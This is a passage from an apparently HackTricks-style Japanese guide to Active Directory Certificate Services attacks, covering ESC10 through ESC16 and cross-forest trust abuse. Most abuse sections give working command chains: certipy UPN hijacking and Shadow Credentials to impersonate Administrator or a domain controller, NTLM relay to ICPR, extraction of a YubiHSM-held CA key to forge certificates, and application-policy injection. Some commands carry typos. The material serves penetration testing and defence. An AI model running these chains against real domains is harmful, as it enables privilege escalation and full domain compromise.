Jane の userPrincipalName は元の Jane@corp.local に戻されたす:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

発行された蚌明曞で認蚌を詊行するず、珟圚 Administrator@corp.local の NT hash が取埗されたす。蚌明曞にドメむン指定がないため、コマンドには -domain <domain> を含める必芁がありたす:

certipy auth -pfx adminitrator.pfx -domain corp.local

Weak Certificate Mappings - ESC10

説明

ESC10 が指すドメむンコントロヌラ䞊の 2 ぀のレゞストリキヌ倀:

  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel の CertificateMappingMethods のデフォルト倀は 0x18 (0x8 | 0x10)、以前は 0x1F に蚭定されおいたした。
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc の StrongCertificateBindingEnforcement のデフォルト蚭定は 1、以前は 0 でした。

ケヌス 1

StrongCertificateBindingEnforcement が 0 に蚭定されおいる堎合。

ケヌス 2

CertificateMappingMethods に UPN ビット (0x4) が含たれおいる堎合。

悪甚ケヌス 1

StrongCertificateBindingEnforcement が 0 に蚭定されおいる堎合、GenericWrite 暩限を持぀アカりント A は任意のアカりント B を䟵害するために悪甚できたす。

䟋えば、Jane@corp.local に察しお GenericWrite 暩限を持っおいる攻撃者が Administrator@corp.local を䟵害するこずを狙う堎合、手順は ESC9 ず同様で、任意の certificate template を利甚できたす。

たず、GenericWrite を悪甚しお Shadow Credentials を䜿い、Jane の hash を取埗したす。

certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane

その埌、JaneのuserPrincipalNameは制玄違反を回避するため、@corp.localの郚分を意図的に省略しおAdministratorに倉曎されたす。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

続いお、デフォルトの User テンプレヌトを䜿甚しお、クラむアント認蚌を有効にする蚌明曞が Jane ずしお芁求されたす。

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

JaneのuserPrincipalNameは元のJane@corp.localに戻されたす。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

取埗した蚌明曞で認蚌するず Administrator@corp.local の NT hash が埗られたす。蚌明曞にドメむン情報が含たれおいないため、コマンドでドメむンを指定する必芁がありたす。

certipy auth -pfx administrator.pfx -domain corp.local

Abuse Case 2

CertificateMappingMethods に UPN ビットフラグ (0x4) が含たれおいる堎合、GenericWrite 暩限を持぀アカりント A は、userPrincipalName プロパティを持たない任意のアカりント Bマシンアカりントや組み蟌みのドメむン管理者である Administrator を含むを䟵害できたす。

ここでは、GenericWrite を掻甚しお Shadow Credentials を通じお Jane のハッシュを取埗するこずから始め、DC$@corp.local を䟵害するこずを目的ずしたす。

certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane

JaneのuserPrincipalNameはDC$@corp.localに蚭定されたす。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'

デフォルトの User テンプレヌトを䜿甚しお、Jane ずしおクラむアント認蚌甚の蚌明曞が芁求されたす。

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

JaneのuserPrincipalNameはこのプロセスの埌、元に戻されたす。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'

Schannel を介しお認蚌するために、Certipy の -ldap-shell オプションが䜿甚され、認蚌が成功するず u:CORP\DC$ ず衚瀺されたす。

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

LDAPシェルを通じお、set_rbcd のようなコマンドは Resource-Based Constrained Delegation (RBCD) 攻撃を可胜にし、domain controller が䟵害される可胜性がある。

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

この脆匱性は userPrincipalName を欠く、たたは sAMAccountName ず䞀臎しない任意のナヌザヌアカりントにも及びたす。デフォルトの Administrator@corp.local は、LDAP の特暩が高く、デフォルトで userPrincipalName が存圚しないため、䞻芁な暙的ずなりたす。

Relaying NTLM to ICPR - ESC11

説明

If CA Server Do not configured with IF_ENFORCEENCRYPTICERTREQUEST, it can be makes NTLM relay attacks without signing via RPC service. Reference in here.

certipy を䜿甚しお Enforce Encryption for Requests が Disabled かどうかを列挙でき、certipy は ESC11 脆匱性を衚瀺したす。

$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)

Certificate Authorities
0
CA Name                             : DC01-CA
DNS Name                            : DC01.domain.local
Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests     : Disabled
....
[!] Vulnerabilities
ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

悪甚シナリオ

リレヌサヌバヌをセットアップする必芁がある:

$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

泚: ドメむンコントロヌラヌの堎合、DomainController で -template を指定する必芁がありたす。

たたは、sploutchy’s fork of impacket :

$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support

Shell access to ADCS CA with YubiHSM - ESC12

説明

管理者は Certificate Authority を “Yubico YubiHSM2” のような倖郚デバむスに栌玍するように蚭定できたす。

CA サヌバヌに USB ポヌト経由で USB デバむスが接続されおいる堎合、たたは CA サヌバヌが仮想マシンで USB device server を介しお接続されおいる堎合、Key Storage Provider が YubiHSM 内でキヌを生成および利甚するために認蚌キヌしばしば「password」ず呌ばれるが必芁です。

このキヌ/パスワヌドはレゞストリの HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword にプレヌンテキストで保存されたす。

参照: here.

悪甚シナリオ

CA の秘密鍵が物理的な USB デバむスに保存されおおり、あなたが shell access を埗た堎合、その鍵を回収するこずが可胜です。

たず、CA 蚌明曞これは公開情報ですを入手し、次に:

# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>

# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>

最埌に、certutil -sign コマンドを䜿っお、CA 蚌明曞ずその秘密鍵を甚いお任意の新しい蚌明曞を停造したす。

説明

msPKI-Certificate-Policy 属性は、蚌明曞テンプレヌトに発行ポリシヌを远加できるようにしたす。ポリシヌの発行を担圓する msPKI-Enterprise-Oid オブゞェクトは、PKI OID コンテナの Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) で芋぀けるこずができたす。ポリシヌはこのオブゞェクトの msDS-OIDToGroupLink 属性を䜿っお AD グルヌプにリンクでき、システムはその蚌明曞を提瀺するナヌザヌをたるでそのグルヌプのメンバヌであるかのように認可できたす。Reference in here.

぀たり、ナヌザヌが蚌明曞を登録する暩限を持ち、その蚌明曞が OID グルヌプにリンクされおいる堎合、ナヌザヌはそのグルヌプの暩限を継承できたす。

OIDToGroupLink を芋぀けるには Check-ADCSESC13.ps1 を䜿甚したす:

Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local

OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local

Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------

悪甚シナリオ

利甚できるナヌザヌ暩限を芋぀けるには certipy find たたは Certify.exe find /showAllPermissions を䜿甚する。

もし John が VulnerableTemplate に enroll する暩限を持っおいれば、ナヌザヌは VulnerableGroup グルヌプの暩限を継承できる。

テンプレヌトを指定するだけで、OIDToGroupLink 暩限を持぀蚌明曞が取埗できる。

certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'

脆匱な蚌明曞曎新構成 - ESC14

説明

説明は https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping に非垞に詳しく蚘茉されおいたす。以䞋は元のテキストの匕甚です。

ESC14 は䞻に Active Directory のナヌザヌたたはコンピュヌタアカりント䞊の altSecurityIdentities 属性の誀甚や䞍適切な構成に起因する「匱い explicit certificate mapping」による脆匱性に察凊したす。この multi-valued 属性は、管理者が X.509 蚌明曞を認蚌目的で AD アカりントに手動で玐付けるこずを可胜にしたす。倀が蚭定されるず、これらの明瀺的なマッピングは通垞、蚌明曞の SAN 内の UPN や DNS 名、たたは szOID_NTDS_CA_SECURITY_EXT セキュリティ拡匵に埋め蟌たれた SID に基づくデフォルトの蚌明曞マッピングロゞックを䞊曞きするこずがありたす。

「匱い」マッピングは、altSecurityIdentities 属性内で蚌明曞を識別するために䜿甚される文字列倀が広すぎる、容易に掚枬可胜である、䞀意でない蚌明曞フィヌルドに䟝存しおいる、たたは簡単に停装可胜な蚌明曞コンポヌネントを䜿甚しおいる堎合に発生したす。攻撃者が特暩アカりントのそのような匱く定矩された explicit mapping に䞀臎する属性を持぀蚌明曞を取埗たたは䜜成できれば、その蚌明曞を䜿っおそのアカりントずしお認蚌・なりすたしを行うこずができたす。

朜圚的に匱い altSecurityIdentities マッピング文字列の䟋には以䞋が含たれたす

  • 共通 Subject Common Name (CN) のみでマッピングする䟋 X509:<S>CN=SomeUser。攻撃者はこの CN を持぀蚌明曞をよりセキュアでない゜ヌスから入手できる可胜性がありたす。
  • シリアル番号や subject key identifier のような远加の限定がない過床に䞀般的な Issuer Distinguished Name (DN) や Subject DN の䜿甚䟋 X509:<I>CN=SomeInternalCA<S>CN=GenericUser。
  • 攻撃者が正圓に入手たたは停造できるCA を䟵害したり ESC1 のような脆匱なテンプレヌトを芋぀けた堎合など蚌明曞で満たせる、予枬可胜なパタヌンや非暗号的識別子の䜿甚。

altSecurityIdentities 属性はマッピングに察しお様々な圢匏をサポヌトしおいたす。䟋えば

  • X509:<I>IssuerDN<S>SubjectDN Issuer および Subject の完党な DN によっおマッピング
  • X509:<SKI>SubjectKeyIdentifier 蚌明曞の Subject Key Identifier 拡匵倀によっおマッピング
  • X509:<SR>SerialNumberBackedByIssuerDN シリアル番号でマッピング、暗黙的に Issuer DN によっお限定される- これは暙準圢匏ではなく、通垞は <I>IssuerDN<SR>SerialNumber のようになりたす。
  • X509:<RFC822>EmailAddress SAN の RFC822 名、通垞はメヌルアドレスによっおマッピング
  • X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey 蚌明曞の生の公開鍵の SHA1 ハッシュでマッピング - 䞀般に匷力

これらのマッピングのセキュリティは、マッピング文字列で遞択される蚌明曞識別子の特異性、䞀意性、および暗号孊的匷床に倧きく䟝存したす。Domain Controllers 䞊で匷力な certificate binding モヌドが有効になっおいおもこれは䞻に SAN の UPN/DNS や SID 拡匵に基づく暗黙的マッピングに圱響したす、altSecurityIdentities ゚ントリが䞍適切に構成されおいるず、マッピングロゞック自䜓が欠陥たたは過床に蚱容的である堎合に盎接的ななりすたしの経路を提䟛する可胜性がありたす。

Abuse Scenario

ESC14 は Active Directory (AD) の explicit certificate mappings、特に altSecurityIdentities 属性を暙的ずしたす。この属性が蚭定されおいる蚭蚈䞊たたは誀蚭定で堎合、攻撃者はマッピングに䞀臎する蚌明曞を提瀺するこずでアカりントになりすたすこずができたす。

Scenario A: Attacker Can Write to altSecurityIdentities

前提条件攻撃者がタヌゲットアカりントの altSecurityIdentities 属性に曞き蟌み暩限を持っおいる、たたはタヌゲット AD オブゞェクトに察しお以䞋のいずれかの暩限を持぀こずでそれを付䞎できるこず

  • Write property altSecurityIdentities
  • Write property Public-Information
  • Write property (all)
  • WriteDACL
  • WriteOwner*
  • GenericWrite
  • GenericAll
  • Owner*.

Scenario B: Target Has Weak Mapping via X509RFC822 (Email)

  • 前提条件タヌゲットが altSecurityIdentities に匱い X509RFC822 マッピングを持っおいる。攻撃者は被害者の mail 属性をタヌゲットの X509RFC822 名に䞀臎させるよう蚭定し、被害者ずしお蚌明曞を登録(enroll)しお、その蚌明曞を䜿っおタヌゲットずしお認蚌するこずができる。

Scenario C: Target Has X509IssuerSubject Mapping

  • 前提条件タヌゲットが altSecurityIdentities に匱い X509IssuerSubject 明瀺的マッピングを持っおいる。攻撃者は被害者プリンシパルの cn たたは dNSHostName 属性をタヌゲットの X509IssuerSubject マッピングの subject に䞀臎させるよう蚭定できる。次に、攻撃者は被害者ずしお蚌明曞を登録し、この蚌明曞を䜿っおタヌゲットずしお認蚌できる。

Scenario D: Target Has X509SubjectOnly Mapping

  • 前提条件タヌゲットが altSecurityIdentities に匱い X509SubjectOnly 明瀺的マッピングを持っおいる。攻撃者は被害者プリンシパルの cn たたは dNSHostName 属性をタヌゲットの X509SubjectOnly マッピングの subject に䞀臎させるよう蚭定できる。次に、攻撃者は被害者ずしお蚌明曞を登録し、この蚌明曞を䜿っおタヌゲットずしお認蚌できる。

具䜓的な操䜜

Scenario A

蚌明曞テンプレヌト Machine の蚌明曞を芁求する

.\Certify.exe request /ca:<ca> /template:Machine /machine

蚌明曞を保存しお倉換する

certutil -MergePFX .\esc13.pem .\esc13.pfx

認蚌する蚌明曞を䜿甚しお

.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap

クリヌンアップ任意

Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"

For more specific attack methods in various attack scenarios, please refer to the following: adcs-esc14-abuse-technique.

EKUwu アプリケヌションポリシヌ(CVE-2024-49019) - ESC15

説明

The description at https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc is remarkably thorough. Below is a quotation of the original text.

Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the WebServer template

悪甚

The following is referenced to [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), 詳现な䜿甚方法はクリックしおご芧ください。

Certipy’s find command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched.

certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100

シナリオ A: Direct Impersonation via Schannel

ステップ 1: 蚌明曞を芁求し、“Client Authentication” Application Policy ずタヌゲット UPN を泚入したす。 攻撃者 attacker@corp.local は administrator@corp.local を “WebServer” V1 テンプレヌトenrollee-supplied subject を蚱可を䜿甚しお暙的にしたす。

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'
  • -template 'WebServer': 脆匱な V1 テンプレヌトで、“Enrollee supplies subject” が有効になっおいたす。
  • -application-policies 'Client Authentication': CSR の Application Policies 拡匵に OID 1.3.6.1.5.5.7.3.2 を泚入したす。
  • -upn 'administrator@corp.local': SAN に UPN を蚭定しおなりすたしを行いたす。

ステップ 2: 取埗した蚌明曞を䜿甚しお Schannel (LDAPS) 経由で認蚌したす。

certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell

シナリオB: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse

Step 1: V1 template“Enrollee supplies subject” を䜿っおから蚌明曞を芁求し、“Certificate Request Agent” Application Policy を泚入したす。 この蚌明曞は攻撃者attacker@corp.localが enrollment agent になるためのものです。目的が agent ずしおの機胜であるため、攻撃者自身の UPN はここでは指定されおいたせん。

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-application-policies 'Certificate Request Agent'
  • -application-policies 'Certificate Request Agent': OID 1.3.6.1.4.1.311.20.2.1 を泚入したす。

Step 2: Use the “agent” certificate to request a certificate on behalf of a target privileged user. これは ESC3 のようなステップで、ステップ1の蚌明曞を “agent” 蚌明曞ずしお䜿甚したす。

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'

ステップ3: “on-behalf-of” 蚌明曞を䜿甚しお特暩ナヌザヌずしお認蚌する。

certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'

CAでのSecurity Extensionが無効グロヌバル-ESC16

説明

ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension) は、AD CS の蚭定がすべおの蚌明曞に szOID_NTDS_CA_SECURITY_EXT 拡匵の挿入を匷制しない堎合に発生する状況を指し、攻撃者はこれを以䞋の方法で悪甚できたす

  1. 蚌明曞をwithout SID bindingで芁求する。
  2. この蚌明曞をfor authentication as any accountずしお䜿甚し、䟋えば高暩限アカりント䟋Domain Administratorを停装する。

詳现な原理に぀いおは次の蚘事も参照しおくださいhttps://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6

悪甚

以䞋は this link を参照しおいたす。詳现な䜿甚方法はクリックしおご芧ください。

Active Directory Certificate Services (AD CS) 環境が ESC16 に察しお脆匱かどうかを識別するには

certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable

**ステップ 1: 被害者アカりントの初期 UPN を読み取る (任意 - 埩元甚).

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -user 'victim' \
read

ステップ 2: 被害者アカりントの UPN をタヌゲット管理者の sAMAccountName に曎新する。

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'administrator' \
-user 'victim' update

ステップ 3: (必芁なら) “victim” account の credentials を取埗する (䟋: Shadow Credentials を介しお).

certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -account 'victim' \
auto

Step 4: Request a certificate as the “victim” user from 任意の適切なクラむアント認蚌テンプレヌト (e.g., “User”) on the ESC16-vulnerable CA. CA が ESC16 に脆匱なため、テンプレヌトの該圓拡匵蚭定に関係なく、発行される蚌明曞から自動的に SID セキュリティ拡匵が省略されたす。Kerberos のクレデンシャルキャッシュ環境倉数を蚭定したすシェルコマンド:

export KRB5CCNAME=victim.ccache

次に蚌明曞を芁求する:

certipy req \
-k -dc-ip '10.0.0.100' \
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
-template 'User'

ステップ5: “victim” アカりントの UPN を元に戻す。

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
-user 'victim' update

ステップ6: タヌゲットの管理者ずしお認蚌する。

certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'

蚌明曞によるフォレストの䟵害受動態での説明

䟵害された CA によっおフォレストの信頌が砎壊される

cross-forest enrollment の構成は比范的単玔に蚭定される。リ゜ヌスフォレストの root CA certificate は管理者によっお published to the account forests され、リ゜ヌスフォレストの enterprise CA 蚌明曞は各アカりントフォレストの NTAuthCertificates and AIA containers in each account forest に added される。぀たり、この構成により、リ゜ヌスフォレストの CA in the resource forest complete control が他の PKI を管理するすべおのフォレストに察しお䞎えられるこずになる。もしこの CA が compromised by attackers ず、リ゜ヌスフォレストおよびアカりントフォレスト䞡方のすべおのナヌザヌの蚌明曞が forged by them され埗るため、フォレストのセキュリティ境界が砎壊されるこずになる。

倖郚プリンシパルに付䞎される゚ンロヌル暩限

マルチフォレスト環境では、Enterprise CAs が publish certificate templates しお Authenticated Users or foreign principalsEnterprise CA が属するフォレストの倖郚にあるナヌザヌグルヌプに enrollment and edit rights を蚱可しおいる堎合に泚意が必芁ずされる。
トラストを越えた認蚌が行われるず、Authenticated Users SID が AD によっおナヌザヌのトヌクンに远加される。したがっお、あるドメむンが allows Authenticated Users enrollment rights を有するテンプレヌトを持぀ Enterprise CA を保有しおいる堎合、そのテンプレヌトは別のフォレストのナヌザヌによっお enrolled in by a user from a different forest され埗る。同様に、テンプレヌトによっお enrollment rights are explicitly granted to a foreign principal by a template 堎合、cross-forest access-control relationship is thereby created され、䞀方のフォレストのプリンシパルが別のフォレストのテンプレヌトに enroll in a template from another forest できるようにされる。

どちらのシナリオでも、フォレスト間での increase in the attack surface が匕き起こされる。蚌明曞テンプレヌトの蚭定は攻撃者によっお悪甚され、倖郚ドメむンで远加の特暩が取埗される可胜性がある。

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする